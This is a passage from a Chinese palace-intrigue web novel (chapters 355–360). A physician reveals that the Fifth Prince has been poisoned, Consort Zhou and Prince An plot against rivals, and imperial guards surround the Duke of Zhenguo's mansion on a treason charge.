“昨日在嘉林县主的食鼎楼遇见,才得知裴神医因贪恋食鼎楼的糕点,并未离开京城,这才今日带他前来拜见皇上。” “哦,是这样的?”谢荣看向裴凉川。 裴凉川拱手道:“回禀皇上,确如平宁郡主所言,因着是病人的隐私,未经瑞王殿下的同意,草民身为大夫又岂能随意透露。” “那如今怎么又能说与朕听?”谢荣沉声道。 裴凉川不卑不亢道:“皇上富有四海,即是这天下的君主又是瑞王殿下的父亲,草民自然只能如实相告,不敢欺君。” 第三百五十五章是否是巧合? 谢荣嘴角勾起一抹意味不明的笑,“你倒是会说话,那你说瑞王如今的身体怎么样了?” 裴凉川先是将瑞王之前中毒时的情况说了一遍,着重强调了瑞王是在重伤的一段时间之后才中的第二种毒。 而后才道:“经过长时间的解毒疗程,瑞王殿下的身体早已痊愈,皇上不必担忧。” 不担忧是不可能的,瑞王如今还生死未卜呢。 谢荣一巴掌拍在龙案上,吓得一旁的李顺全都抖了三抖,恨不得将头缩进衣领里。 “这些人,真是好大的胆子,竟敢给渊儿下毒!” 洛希瑶见状连忙道:“皇上,瑞王殿下毒已解,眼下只能盼殿下能平安归来,如今,最重要的是五皇子殿下的病。” 谢荣眼神一暗,似是才想起五皇子一般,道:“平宁郡主说的是,眼下确实是五皇子的病要紧。” 他看向裴凉川道:“连太医院的太医都未曾发现渊儿是中毒了,裴医者如此年纪轻轻却能勘破,想必于医术一道上有极高的造诣。” 裴凉川这时候倒是谦卑起来了,连连摆手道:“不敢当,不敢当,皇上过誉了。” “既如此,裴医者便与朕一同去五皇子的寝殿吧,看看他的身体到底如何了。” 说着,谢荣便率先起身朝殿外走去。 李顺全与裴凉川紧随其后。 洛希瑶犹豫了一瞬,也舔着脸跟了上去。 反正皇上也没说她不能跟着一道去不是。 一行人浩浩荡荡地朝五皇子的寝殿走去。 有皇上在,自然一路畅行无阻,很快便到了五皇子的寝殿。 门打开。 一股药味扑鼻而来。 福公公正在服侍五皇子喝药。 见皇上来了,五皇子挣扎着要起身行礼。 谢荣手指微动,随后只是淡淡道:“你病重,不必多礼了。” “谢父皇。”五皇子道。 “臣女/草民拜见五皇子殿下。” 洛希瑶与裴凉川齐齐向五皇子行礼。 “平宁郡主请起,这位是……”五皇子盯着裴凉川,一双大眼睛里满是疑惑,似真的是第一次见裴凉川一般。 这是早就约定好的。 昨日确定了要让裴凉川直接去面见皇上后,洛希瑶立马便让人给福公公递消息,提醒他和五皇子今日要假装没见过裴凉川。 因此,今日都是‘第一次’见面。 当着皇上的面,裴凉川自然不能用昨日那般散漫的态度,他上前一步,恭敬道:“五皇子殿下,草民是一名医者。” “医者?”五皇子重复道,看向皇上。 谢荣面色冷硬道:“将手伸出来,让这位裴医者替你把脉。” “是,父皇。”五皇子乖顺道,将手伸了出来。 裴凉川上前将手搭在五皇子的脉搏上,屏息凝神,细细感受。 周遭瞬间安静了下来,没有人说话,但屋内强大的天子威压却让人有些喘不过气来。 一炷香后,裴凉川才将将手收回,神色凝重道:“启禀皇上,五皇子殿下并非得了风寒之症,而是中毒了,才使得身子虚弱,咳血不止。” “什么!我中毒了!”五皇子惊呼,“怎……怎么会中毒?为何太医没有脉出来?” 洛希瑶听着五皇子这夸张的语气,嘴角抽了抽,躲在后面悄悄给他使了个眼色。 示意他别太用力过猛。 五皇子立时便软了语调,“我……我真的中毒了吗?” 谢荣在听到裴凉川说出中毒这句话时,眼底便掀起了惊涛骇浪,他沉声开口道:“裴医者,你说的可是真的?五皇子中毒了?” 裴凉川正色道:“草民所言,句句属实,不敢欺瞒皇上。” 谢荣嗓音嘶哑,问道:“所中何毒?” “此毒名为‘二月咳’,中毒之初,与风寒之症极为相似,难以分辨,三日后,热消始咳,随时间推移,咳症愈重,足有十余日,此期间若是病者情绪大悲大喜,极易发生心悸或呕血,继而猝死。” “若是熬过这两个阶段,便会开始咳血,咳起来犹如要将心肝肺都咳出来一般,痛苦至极,直至深深咳血而亡。” “且得此病者,一般都活不过两个月。”裴凉川道。 谢荣听到那句‘情绪大喜大悲,极易发生心悸或呕血,继而猝死’时,便闭上了眼睛。 等裴凉川最后三个字落下,猛地睁开,一把将手上的玉扳指砸在了地上。 上好的玉扳指顿时四分五裂。 吓得李顺全和福公公扑通一声跪在地上,高呼,“皇上息怒!” 洛希瑶也跪在地上道:“皇上息怒。” 裴凉川左看看,又看看,最后只能不情不愿地下跪,撇嘴道:“皇上息怒……” “好啊,好得很,太医院里都是没用的废物,若不是今日,五皇子被人毒死了,朕都还被蒙在鼓里。”谢荣怒道。 对于此话,裴凉川深表认同,但话却不能这样说。 只能违心道:“太医院里的太医都是正统出身,不像草民,是个野路子,平时对毒术也有涉猎。” “且这毒也算是罕见,太医们不知晓也是有的,只是……” “只是什么?”谢荣沉声道。 裴凉川状似有些犹豫道:“只是五皇子殿下所中之毒,与之前瑞王殿下所中之毒的第二种毒药来源于同一个地方。” “草民不知,这是否是巧合。” 第三百五十六章 草民必不负皇上期望 裴凉川话一落,殿内一片寂静。 福公公和李顺全都死死低着头,恨不能将头埋到地面上。 裴凉川这话就差直说给谢南渊下毒的人和给五皇子下毒的人是同一个人了。 而这宫中,有能耐给两位皇子下毒,又能从中获取好处之人…… 谢荣面上不显,但明黄色衣袖下的拳头已然攥紧,额角的青筋也隐隐有暴起的趋势。 没有人能在听闻两个儿子都差点被人害死之后,还能保持平静,即便是皇帝也不例外。 谢南渊如今生死不明仍是谢荣心尖上的阴霾,谢荣的心情并不会因他的毒已经解了而好上半分,反而愈发愧疚。 再加上五皇子如今还是这副病恹恹的样子,谢荣心中的怒火怎么也压不住。 而五皇子则是一脸震惊,惊呼道:“裴医者,你说什么?三哥中毒了?三哥何时中毒了?我怎么不知道!” 没人跟他说过啊! 这下不是做戏,是真的惊到了。 五皇子一着急,喉咙泛起一阵痒意,又忍不住咳了起来。 这一回,福公公眼疾手快将帕子递上。 五皇子接过帕子咳得更厉害了,待平复下来时,手中的帕子已然沾了血。 洛希瑶有些恳求地看向裴凉川,裴凉川接收到洛希瑶的信号嘴角一抽。 上前一步,有些心疼地从袖中掏出一个白瓷瓶,倒出一个颇为眼熟的药丸递给五皇子。 “五皇子,这是草民自己配制的抑制毒素的药丸,服下一颗,心平气和之下,能保三日无虞。” 裴凉川这心疼,自然不是对五皇子,而是对自己的药丸。 这五皇子真的是不听劝,都说了要心平气和。 他倒是生气了舒坦了,白白浪费了他昨日的一颗药丸。 裴凉川心中的诽谤无人知晓,五皇子接过药丸,想也没想就一口吞了下去,一旁的李顺全拦都来不及拦。 不管怎样,这些药丸还是要让太医一起看看才是啊,万一有什么不妥呢。 五皇子怎么就直接吞了! 谢荣唇瓣微动,但五皇子动作极快,已然吞下去了,谢荣也就没有再说什么。 毕竟于毒术一道,太医院的那些太医,显然不如眼前的这个年轻人。 药丸吞下去没过多久,五皇子便已肉眼可见的好转了许多。 这里的好转,不是说五皇子的病一下就好了,变得活泼乱跳了,这是抑毒丸,不是大罗金丹,没有那么大的功效。 便是服下解药,也不可能有那样的效果。 而是指五皇子的精神好了许多,不再是方才咳血时,满脸病容,虚弱得仿佛随时要断气的样子。 对于五皇子这显着的变化,殿内的人都有目共睹。 洛希瑶和福公公昨日便见识过了,自然没有太过惊讶。 屋内唯二感到诧异的人,非谢荣和李顺全莫属。 李顺全此刻看裴凉川的眼神就又不一样了。 此人如此年轻,医术便如此高明,若是真将五皇子治好了,将来的前途,不可限量啊。 谢荣目光沉沉,神色晦暗不明,伸手想要去触碰大拇指上的玉扳指,却摸了个空。 方才想起玉扳指被他自己一怒之下给杂碎了。 五皇子服了药,这会儿已经缓过来了。 缓过来的第一时间便看向谢荣,声音虚弱又暗含愤怒道:“父皇,究竟是谁要害儿臣和三哥?” “三哥为大越出生入死,儿臣也从未曾害过旁人,怎么就碍了别人的眼了,非要置儿臣和三哥于死地不可,竟连下毒这种肮脏下作的手段都使了出来。” “这段时间儿臣被这毒折磨得痛不欲生,此番若不是裴神医,儿臣恐怕就要这么糊里糊涂地死了。” “父皇,您要为儿臣,为三哥做主啊!” 五皇子一番话说的情真意切,眼泪都流出来了。 这其中虽然有因想要皇上严惩凶手而夸大的成分,却也是真的愤怒。 没有人不害怕死亡。 若是药石无医病死的也就罢了,被人下毒害死的,未免也太过憋屈了些。 不然以五皇子如今半大小子,十多岁的少年郎,如何肯丢弃脸面,在皇上这个当父亲的面前涕泗横流。 也不知是五皇子哪句话戳中了谢荣的痛处,谢荣再也维持不了表面上的平静。 他眼眶微红,伸手拍了拍五皇子的肩膀道:“你好好养病,此事父皇定会查清楚,给你和你三哥一个交代。” “谢父皇!”五皇子哽咽道。 谢荣闭上眼睛缓了缓,待心中激荡的情绪散去,再睁开眼时,漆黑瞳孔里已满是冷漠。 他看向裴凉川,开口道:“裴医者。” “草民在。”裴凉川拱手道。 “对于五皇子所中之毒,你有多大的把握解毒?”谢荣问道。 裴凉川自然是信心十足,但这是在帝王面前,话不能说的太满,不然怎么显示他的劳苦功高。 若是显示不了他的劳苦功高,又怎能得丰厚的赏银呢? 裴凉川肯入宫给五皇子看病,一方面是因着沈琼华与安锦的关系,另一方面便是为了赏银。 这好歹是皇家,怎么着都比沈家要出手阔绰些吧,好歹是一个皇子的性命呢。 不管裴凉川心里怎么想,面上却是一本正经地道:“回皇上的话,草民确有法子解毒,只是……” “只是什么?”谢荣黑沉沉的目光落在裴凉川身上。 “只是五皇子中毒已久,已经到了最后咳血的阶段,身体孱弱,不宜服用解药,若是此时服下恐怕会当即毙命。” ‘当即毙命’四个字一出,裴凉川当即便感觉到身上的目光变得犀利起来。 裴凉川佯装毫无察觉的样子,不紧不慢地道:“不过这也不是什么大事,只是花费的时间长一些,麻烦了一些。” “五皇子要一边用温和的药温养孱弱的身体,一边服用草民的抑制毒素的药丸。” “这药丸虽不能解掉五皇子体内的毒,却能抑制五皇子体内的毒素,使其不再损害五皇子的身体。” “待五皇子的身体温养好,能够承受住解药的药效了,再行解毒之事便是,如此,方可无虞。” 谢荣听罢,沉声道:“麻烦些许便麻烦些许,五皇子的性命才是最重要的。” “你既是有法子,那五皇子的身体便交由你负责,若是五皇子痊愈,朕定嘉奖于你,可若是……” 裴凉川立刻道:“皇上放心,草民定然竭尽全力,让五皇子早日恢复。” 谢荣点点头。 裴凉川见谢荣的情绪还算稳定,眼珠一转,又道:“只是皇上……这抑制毒素的药丸五皇子三日便要服用一颗,且这药丸制作过程极为复杂,所需药材也十分昂贵,需要数十种稀缺药材才能制作出十几颗……” 谢荣大手一挥道:“只要你能将五皇子体内的毒解了,宫里的药材都可任由你使用。” 裴凉川立刻激动道:“谢皇上,草民必不负皇上期望。” 第三百五十七章 彻查 裴凉川没想到稍微试探一下,竟能占到这么大的便宜。 那抑毒丸的制作过程确实复杂,所耗费的稀缺药材也确实多达数十种,不然昨晚裴凉川也不会那般小气只肯给五皇子一颗。 但一份药材制作出来的解毒丸却不是十几颗,而是几十颗。 用十几颗抑毒丸换皇家的药材库,这笔买卖如何能不划算呢? 裴凉川一想到自己能拿皇家的药材库制作各种药丸,制作出来的药丸还是入了他自己的袋中,就几乎要乐出声来。 幸好他还记得皇上在这,即便心里乐开了花,面上也还是崩住了。 谢荣满意地点了点头,接着道:“既如此,给五皇子治疗的这段时间,你就住在这偏殿,直至五皇子痊愈为止。” “是!”裴凉川应下。 谢荣转而又看向李顺全,吩咐道:“传令下去,裴医者可自由初入五皇子的寝殿,至于其他人等,照旧……” “父皇!”五皇子喊道。 见谢荣的目光看过来,五皇子才用恳求的语气道:“父皇,儿臣平日里待在寝殿内养病甚是烦闷,儿臣听说平宁郡主近日都有进宫向皇后娘娘请安,能否让平宁郡主偶尔来儿臣寝宫,给儿臣讲讲民间趣事?” “这……”谢荣蹙眉,有些迟疑。 洛希瑶心中有些忐忑,眼下谢小五这样的情况,即便是有裴凉川在,她还是有些不放心。 若是能亲眼看见谢小五好起来,那自是最好的。 裴凉川见状,上前一步道:“皇上,若是能让五皇子保持心情愉悦,说不定五皇子能好得更快些。” 谢荣听到这话,这才应下了,道:“那就除裴医者和平宁郡主外,任何人不得随意进出五皇子寝殿。” “奴才/臣女/草民遵命!” 这一通折腾下来,时辰也不早了,谢荣还要处理奏折。 他看向五皇子道:“朕先走了,你好好配合裴医者治病,争取早日痊愈,朕过几日再来看你。” 五皇子乖巧点头,“是,儿臣恭送父皇。” “臣女/草民恭送皇上。”洛希瑶与裴凉川道。 直到帝王的出行仪仗,门缓缓关上,洛希瑶才松了一口气。 一回头,便发现裴凉川已经故复萌态,毫无形象地瘫坐在太师椅上,右脚架在左腿上,一抖一抖的。 开口抱怨道:“哎呦,可累死我了,这宫里的银子可真不好挣。” 装的跟个孙子似的。 对于裴凉川这副样子,五皇子与福公公昨日便见识过了,此刻倒也见怪不怪。 福公公一脸谄媚的上前道:“裴神医,你看,什么时候方便给我们殿下开始治疗?” 没办法,眼下只有裴凉川能救五皇子的命,福公公自然要客客气气的。 “治病?方才不是治了吗?他方才吃了我的抑毒丸啊。”裴凉川从太师椅上跳起来,伸展了一下身体。 “啊?可是这……这……” 福公公有些语无伦次。 这吃颗药丸就算治疗了? 方才不是还说什么要调养温养身体吗? 看着福公公一副目瞪口呆的样子,裴凉川笑着将一只手搭在福公公的肩上,道:“放心,我一会写一张温养身体的方子,你们殿下按着这个方子喝,保管用不了多久就能解毒了,至于现在……” 裴凉川嘴角勾起一抹奸笑,“自然是去宫中存放药材的库房看看了,请吧,福公公。” 说着,裴凉川便毫不客气地上手,推着福公公朝外走去。 福公公被裴凉川强硬地推着走,只能回头喊道:“平宁郡主,奴才去去就回,还请您照看一下五皇子殿下。” 洛希瑶张了张嘴,还未来得及回应福公公,门便被裴凉川啪地一声关上了。 洛希瑶与五皇子对视一眼,具都在对方眼中看到了无奈。 —— 太极殿。 谢荣从龙撵上下来,便大踏步朝太极殿内走去。 那浑身冷凝的气息,所过之处,令得不少御前当差的宫女和太监都害怕的低下了头。 一个小太监刚端着托盘从小茶房出来,正准备将茶水送去内殿,见状连忙行礼,却被路过的谢荣抄起托盘内的茶盏狠狠地砸在了地上。 瓷盏碎裂,温烫的茶水流了一地。 所有的宫女太监立时都跪了下来,大气都不敢喘。 谢荣却不发一言地进了内殿。 跟在后面进来的李顺全看到这一幕,心里咯噔一声,暗暗叫苦。 等谢荣进了内殿后,才压低声音朝地上跪着的小太监道:“还不快将这里收拾干净!” 而后又看向其他宫女太监,道:“你们今日当差都给我仔细着些!” 说完,便又急匆匆跟着谢荣进了内殿。 刚进内殿,便发现谢荣平日里最喜欢的白玉雕文镇纸已经四分五裂地躺在地上。 李顺全顿时心里警铃作响。 当下也不敢去收拾,只能放轻脚步走到一旁,努力降低自己的存在感。 他想当透明人,奈何情况不允许。 “李顺全!”蕴含怒意的声音响起,吓得李顺全浑身一个激灵。 “奴才在!” “你觉得瑞王和五皇子中毒之事是何人所为?” 这还用说吗? 除了安王和周贵妃还能有谁? 李顺全暗暗想道。 只是这话却不能说出口。 皇上心里也未必真的不清楚。 李顺全苦着脸道:“皇上,您这是有点为难奴才了,您都不知晓,奴才如何能得知。” 谢荣冷哼一声,“既然不知晓,那就彻查,查出是何人所为,将证据送到朕面前来!” “是!”李顺全应下,转身安排去了。 第三百五十八章 延禧宫 周贵妃高坐在主位之上,神色焦急,眼神时不时落在厚厚的门帘之上。 一旁的桂嬷嬷见状宽慰道:“娘娘莫急,已经派人去唤王爷了,王爷一会儿就到。” 周贵妃眉头紧蹙,闻言道:“本宫如何能不急,那……” 话音还未落,便见门帘被掀起,一身月白色长袍的谢祁安走了进来。 他走得急,披肩上似是都带着股冬日的寒凉。 “母妃,发生何事了?竟这般着急。”谢祁安一边走近,一边沉声道。 谢祁安原本下了朝要回安王府,都看到安王府的门楣了,却被追上来的周贵妃的人喊住,让他即刻来延禧宫。 说有要事相商。 周贵妃见谢祁安来了,就犹如主心骨来了一般,立刻站起身,道:“安儿,不好了,平宁郡主带了一个不知打哪儿来的游医,要给五皇子看病,已经被你父皇给留下了。” 最后一句话,周贵妃的嗓音里都带着一股尖锐。 谢祁安下意识蹙眉,道:“儿臣怎未得到消息?这是何时的事?” “就刚刚的事,我一得到消息,就派人出宫去喊你了,你父皇这会儿刚从五皇子那离开不久。”周贵妃急急道。 见谢祁安抓不住重点,连忙又道:“重要的不是消息从何而来,重要的是你父皇已经知晓五皇子中毒了,恐怕马上就要怀疑到咱们身上了。” 虽说下毒一事已经扫尾,但就怕万一有什么细节之处漏了马脚。 再者,那小贱种失踪,五皇子一个孩童又无缘无故中毒,只要稍微细想一下便知五皇子中毒一事与争夺储位有关。 而在众位皇子之中,除了那个小贱种,就属她的安儿能力最为出众,最有可能坐上那个位置,自然嫌疑最大。 若是五皇子中毒而死也就罢了,那小贱种和五皇子都死了,大皇子和四皇子都不争气,即便是皇上发现了是安儿所为,为了江山后继有人,也不能将安儿如何。 可是偏偏五皇子没死,命还真是大。 事到如今,周贵妃不禁有些后悔起来。 若是早知如此,当初就不该走这一步险棋。 都是那个小贱种,若不是他迟迟未有消息,五皇子早就死了,何至于到现在这种地步。 “母妃你说什么?那游医发现五弟中毒了?”谢祁安震惊道,“这怎么可能,五弟所中之毒罕见,太医院那么多太医都未曾察觉,怎么可能这么短的时间内就找到了能解毒的医者?” “是真的,母妃还能骗你不成,你父皇已经下了旨意,让那游医接管五皇子的身体,想必要不了多久整个后宫就都知道了。” “都是那该死的平宁郡主,多管什么闲事,她在沈家那贱丫头的酒楼里遇上的这个游医,据说当初那小贱种的毒就是这个游医解的,所以她就将人带进了宫……” 周贵妃的话还未说完,谢祁安的脸色便彻底变了, 他咬牙切齿道:“沈琼华!” 谢祁安不相信会有这么凑巧的事情,这其中定然有沈琼华的手笔。 她能找到这个游医,难道当初这个游医便是她找来治疗谢南渊的? 是了,这样就能解释得通了,当初谢南渊自受伤从战场上回来后,身体便一直是由太医院的院正看顾。 长达近一年的时间,谢南渊的身体逐渐虚弱,皇上也未有什么异常,显然院正并没有发现谢南渊中毒一事。 后来突然被父皇派进兵部历练。 想必那时毒就已经解了,不然父皇也不会让谢南渊拖着病体处理朝事。 而这,发生在沈家进京后不久。 原来早在那么早,沈琼华就已经与谢南渊勾搭在一起了。 谢祁安早就猜到谢南渊身上的毒已经解了,不然早就扛不住了,哪还能上战场,只是他未曾猜到这其中还有沈琼华的手笔。 当初将主意打到沈家身上,让沈家进京,根本就是个错误。 谢祁安沉声道:“母妃,事情已经远比想象中要严重了。” “那游医若真的解了谢南渊身上的毒,想必也必能解五弟身上的毒。” “况且,我若是没猜错的话,父皇之前应当是不知晓谢南渊曾经中毒一事,不然以父皇对谢南渊的宠爱,不可能会如此风平浪静。” “如今两件事情被一起掀开,前有谢南渊中毒,后有五弟中毒,父皇一定十分震怒,下令彻查。” “即便我们扫干净了尾巴,未曾让父皇抓到蛛丝马迹,但父皇必定也会在心里怀疑我了。” “若是谢南渊此番死了也就罢了,若是他平安回来了,以父皇对他的宠爱,他的军功以及镇国公府的支持,再加上父皇此次对他的愧疚,恐怕那储君之位真要非他莫属了。” “我与谢南渊之间,早已是不死不休的地步,若是来日他当真当上了皇上,等待我的就是削爵圈禁的下场了。” 周贵妃轻轻捂住嘴,被谢祁安说的话给吓到了,道:“不会的,安儿,那贱种这么久都没有消息了,肯定死了,你父皇没有证据,即便是怀疑你,也不能将你如何的。” 谢祁安轻轻摇头,道:“母妃,谢南渊的尸体一日未曾找到,就不能这般轻易下定论。” “再者,若是此次谢南渊真的死了,只怕父皇对谢南渊的愧疚会更深,那么对于我这个可能曾给谢南渊下过毒的儿子,会是什么态度呢?” “那储君之位还真的能轮到我坐吗?” “只怕真要如母妃先前所言,竹篮打水一场空,为五皇弟做了嫁衣。” 周贵妃脸色猛地一变,“那这小贱种死也不是,不死也不是,咱们岂非陷入了困境,怎么做都不对了?” 若是真让五皇子当了太子,将来成了皇帝,那皇后将来就是太后,而自己只是一个太妃,那皇后还不得踩到她头上来作践她? 见周贵妃有些慌张,谢祁安安抚道:“母妃放心,儿臣自有决断。” 周贵妃察觉到谢祁安话语里的意思,问道:“安儿,你可是有法子脱离眼下的困局了?” 谢祁安轻蔑一笑,靠近周贵妃耳畔低语了几句。 周贵妃的神色便肉眼可见的放松了下来。 夸赞道:“此计甚好,如此一来,即便是那小贱种回来了,一日已经为时已晚,有了这个污点,那小贱种这辈子都与储位无缘。” “若是死了,那就更好了,送他们一起去地下团聚,咱们也算是做了一件好事。” “还能借此机会,分散一下你父皇在中毒一事上的注意力。” “至于其他的,咱们还有时间。” 谢祁安颔首,道:“母妃说的是,这也正是儿臣的本意。” “儿臣本不想如此着急的,是他们逼得儿臣如此。” 周贵妃笑道:“既然都已经想好了,那便放手去做吧,母妃在延禧宫等着安儿你的好消息。” “是!儿臣必不让母妃失望!”谢祁安道,转身离开。 厚厚的门帘掀起,殿外早已没有了方才舒适的气候,天空乌云密布,像极了风雨欲来的趋势。 第三百五十九章 镇国公府被围 竖日。 绵雨。 沈琼华一早便带着芍药坐上马车出了沈府大门。 昨日洛希瑶带着裴凉川进宫之后,直至宫门落锁前才出宫。 至于裴凉川,直至五皇子痊愈前,他都不可能离开皇宫。 由于天色太晚,洛希瑶便差人来告知,说是今日一早再来找沈琼华,跟沈琼华说昨日宫内发生的事情。 洛希瑶每日要进宫拜见皇后一事,沈琼华自然是知晓的。 她知晓洛希瑶辛苦,遂也不等她来沈府,想着自己主动去镇国公府。 正巧途中要经过食鼎楼,洛希瑶最爱食鼎楼的点心,刚好能顺带着几碟子新出炉的点心给洛希瑶。 让她开心开心,当早膳用了。 沈琼华这个东家要从自家酒楼里拿点心,自是不用等候的。 一炷香的功夫,芍药便拎着一个大大的食盒从食鼎楼里走了出来,登上马车。 马车缓缓朝镇国公府的方向驶去。 可刚行驶不到一盏茶的功夫,马车突然来了一个急停,摆放在小几上的食盒差点被掀翻,幸好被芍药眼疾手快的扶了一把才没有撒了沈琼华一身。 芍药道:“马大哥,你小心着些,糕点差点撒了小姐一身。” 车帘外的马夫连忙赔罪道:“小的该死,差点冲撞了小姐。” “无事。”沈琼华淡淡道,“是发生了何事吗?” “回小姐的话,是御林军办差,咱们要避让他们,这才急停的。”马夫道。 这大清早的,御林军办什么差? 沈琼华眉头微蹙,掀开车帘一角,正好看到一队御林军从面前驶过,那方向…… 不好! 沈琼华一把放下车帘,焦急道:“快,抄近路去镇国公府,越快越好。” 马夫虽不知沈琼华为何突然要改道,却还是一口应下。 当即便改变了道路,抄了一条较为颠簸的路朝镇国公府疾驰而去。 一路上,车内的沈琼华与芍药都紧紧抓着窗沿,生怕被颠下去,方才还小心翼翼看顾的糕点,此刻已经无人在意了。 芍药张了张嘴,想问什么,可一看沈琼华一脸凝重的样子,顿时又闭上了嘴。 马车一路疾驰到镇国公府。 沈琼华立刻便飞奔下马车,直往洛希瑶闺房而去。 镇国公府的门卫只觉眼前一花,沈琼华便已消失不见。 不过好在沈琼华已来过镇国公府多次,镇国公府的下人早就知晓沈琼华与洛希瑶亲近。 洛希瑶也交代过若是沈琼华来找她不必阻拦,直接放行便是,因此门卫也未曾追上去。 沈琼华一路小跑,冬日里竟出了一声汗。 沈琼华从未觉着镇国公府如此大,洛希瑶的闺房如此远。 她气喘吁吁,又紧张不已,跑到最后,沈琼华都不知晓她体内剧烈的心跳是因为紧张还是因为奔跑。 终于到了洛希瑶的闺房。 沈琼华一把推开门。 洛希瑶刚换好了衣裳,正坐在铜镜前梳妆。 见着沈琼华,洛希瑶一脸诧异,“琼华,你怎么来了?不是说等我去找你吗?” 沈琼华跑得太快,此刻脸色涨红,上气不接下气,喉咙说不出话。 洛希瑶见状,笑着上前,捏着手中的帕子想要给沈琼华擦汗,嘴里还道:“你这么急做什么,我又不会跑了,难不成你想……” 话还未说完,手就被沈琼华死死攥住。 沈琼华的力道极大,抓着洛希瑶的手生疼,洛希瑶这才发现不对劲。 “琼华,你怎么了?” 沈琼华盯着洛希瑶的眼睛道:“希瑶,你还记得我们之前的计划吗?” 洛希瑶笑道:“计划,什么计——”话说到一半,洛希瑶忽然意识到什么,“是今日?” 沈琼华点点头,道:“我来镇国公府的路上撞见御林军办差,而方向正是镇国公府,遂抄了小道先行赶来告知于你。” 洛希瑶咬牙,一拳砸在了妆奁上,“还真会挑时候。” “琼华,你放心,我才不会怕他呢,镇国公府定会安然无恙的。” 话说的虽铿锵有力,但微微抖动的手还是出卖了她的害怕。 事关抄家灭族的大罪,即便是再有把握,即便是已经将栽赃的书信处理了,可事到临头,又怎能真的平静如水呢? 且镇国公又远在边关,这偌大的镇国公府,只留有洛希瑶一人。 前后两世,都是她一人面对。 也许上一世,她以为有夫君可以依靠,可到最后终究是镜花水月。 洛希瑶见沈琼华还站在这,推了她一把,“琼华,你赶紧走,别把你牵连进去了。” 沈琼华上前轻轻挽住她的手,道:“我不走,我陪着你,我不会让你一个人面对的。” “你……”洛希瑶还想要说什么,沈琼华先一步打断她的话, “你知道的,我做的决定没有人能改变,你就别白费口舌了。” 洛希瑶鼻尖一酸,剩下的话咽了回去,道:“好,我们一起。” 话音刚落,外头便传来婢女的惊呼声,“小姐,不好了!” “御林军奉皇上旨意将咱们府给围了!” 第三百六十章谁让你自作主张的? 话音刚落,门就被人粗暴地踹开了。 一个身着武将服饰的男子从外走了进来,男子长相俊逸,一双桃花眼中带着狠意与得意。 沈琼华眼眸微眯,红唇微启,“周瑾林。” 周瑾林见着沈琼华眼底闪过一丝意外,随即轻蔑一笑。 “原来是沈表妹,这倒是稀奇,一大清早的沈表妹不在沈府,竟跑到镇国公府来了。” 他抬脚跨过门槛,那双桃花眼上下打量着沈琼华,最后视线凝聚在沈琼华姣好的面容上。 “多日不见,沈表妹看来过得很好啊,不然怎么有本事在京城搅风搅雨呢。” “只是可惜,表妹的依仗马上就要倒了,你若是知情识趣些,本世子也不是不能……” 他一边说着,竟想伸手去摸沈琼华的脸,却被突然伸出来的一只手给打掉了。 洛希瑶将沈琼华护在身后,一脸嫌恶道:“永宁伯世子,还请自重。” 周瑾林嘴角勾起的邪笑缓缓收拢,“平宁郡主都自身难保了,还是这么爱多管闲事。” 洛希瑶佯装一副不知情的样子,道:“永宁伯世子,你此话是何意?” 周瑾林朗声道:“皇上口谕,镇国公疑有通敌卖国之嫌,现封禁镇国公府,传镇国公之女平宁郡主进宫问话。” “不可能!我爹为大越国出生入死,立下赫赫战功,怎么可能通敌卖国。”洛希瑶震惊大喊道。 周瑾林嗤笑道:“有没有可不是你说的算的。” “洛希瑶,走吧。” 说着,他手一挥,身后立刻便有人上前要钳制住洛希瑶。 周瑾林手下的都是些男子,且十分不安分,竟敢上手朝洛希瑶的胸前袭来。 洛希瑶如何能忍,直接一脚踹翻了那两人。 周瑾林面色一沉,眼底却闪过一抹得逞的笑意,道:“洛希瑶,他们都是奉旨前来,你竟敢打伤他们,如此藐视圣意,难怪镇国公敢通敌卖国。” “待会进宫,我必会向皇上如实呈情,今日,你进也得进,不进也得进!” “来人,你们一起上,将她给我绑进宫!” 话落,十数道身影上前想要对洛希瑶动手。 洛希瑶虽然会武功,但十多人一起上,到底双拳难敌四手,好在这里是镇国公府,一直隐在一旁的洛希瑶的暗卫出了手,不消一会儿功夫便将七八人打倒在地。 洛希瑶一边闪躲,一边护着沈琼华。 这里的动静闹得有些大了,引来了其他人。 一道黄色官兵服饰的高大男子走进了洛希瑶的院子,看着眼前的这一幕,大喝道:“都给我住手!” 他发了话,周瑾林的人立即停了下来。 洛希瑶的暗卫也将洛希瑶与沈琼华护在身后,警惕地看着对方。 沈琼华看着对方的官兵服饰眼眸微眯。 此人虽身着黄色,却是不同于象征着帝王的明黄色,而是一种更为鲜艳的黄色,是御林军的统一服饰。 她方才还疑惑明明在路上遇见了御林军,为何到了镇国公府变成了周瑾林。 看来,这才是真正的奉皇命前来之人。 男子看着躺了一地的人,勃然大怒道:“都在闹什么!” 周瑾林上前一步道:“高统领,平宁郡主质疑皇上旨意,拒不进宫,甚至对我的人大打出手,此举简直是藐视皇家威严,不将皇上放在眼中。” 如此颠倒黑白,洛希瑶心中勇气一股无名之火,怒骂道:“你放屁!” 周瑾林眼眸一厉,道:“众人有目共睹,岂容你狡辩!” 洛希瑶还要再骂,却被沈琼华拉了一把,顿时闭了嘴。 沈琼华算是明白了周瑾林的意图了。 他是故意的。 故意折辱洛希瑶。 想要在这紧要关头火上浇油一把,在镇国公府头上加上一个抗旨,藐视君主的罪名。 如此一来,再加上他们早就准备好的栽赃的证据,皇上定会怒上加怒,严惩镇国公府。 沈琼华上前一步,压根不看周瑾林,直接绕过他望向高统领,道:“高统领,敢问皇上如今已经定了镇国公府的罪名了吗?” 高统领看着面前的略有些陌生女子,眉头一蹙,仔细回想了一番,才想起沈琼华的身份,“原来是嘉林县主。” “不知县主为何在此?” 沈琼华点点头,解释道:“我今日原本是来探望平宁郡主,却没想到出了这等事,还请高统领解答我方才的疑问。” 高统领道:“皇上并未判定镇国公的罪名,只是有人状告,这才让平宁郡主进宫问话……” “既然罪名未定,那希瑶便还是郡主,皇上是让平宁郡主进宫问话,那永宁伯世子为何折辱郡主,甚至倒打一耙!”沈琼华厉声道。 “若不是永宁伯世子不尊郡主,要让十多个男子将郡主绑进宫,郡主如何会反抗!” 高统领闻言,猛地看向周瑾林,沉声道:“是这样吗?” 周瑾林丝毫不惧。 在他的心中,这沿袭百余年的镇国公府必将于今日覆灭。 “高统领,这还有差吗?苍蝇不叮无缝蛋,镇国公府必定不清白。” “你可要想清楚,这瑞王这么久了,如今可还生死不明……” 言外之意,是让高统领认清局势。 瑞王生死不知,镇国公府又背上了通敌叛国的罪名,最有可能即位的是安王…… “周世子,瑞王的事情还未有定论呢,你可别太着急了,皇上下了旨意,边关的将士可还在寻找瑞王呢……”沈琼华幽幽道。 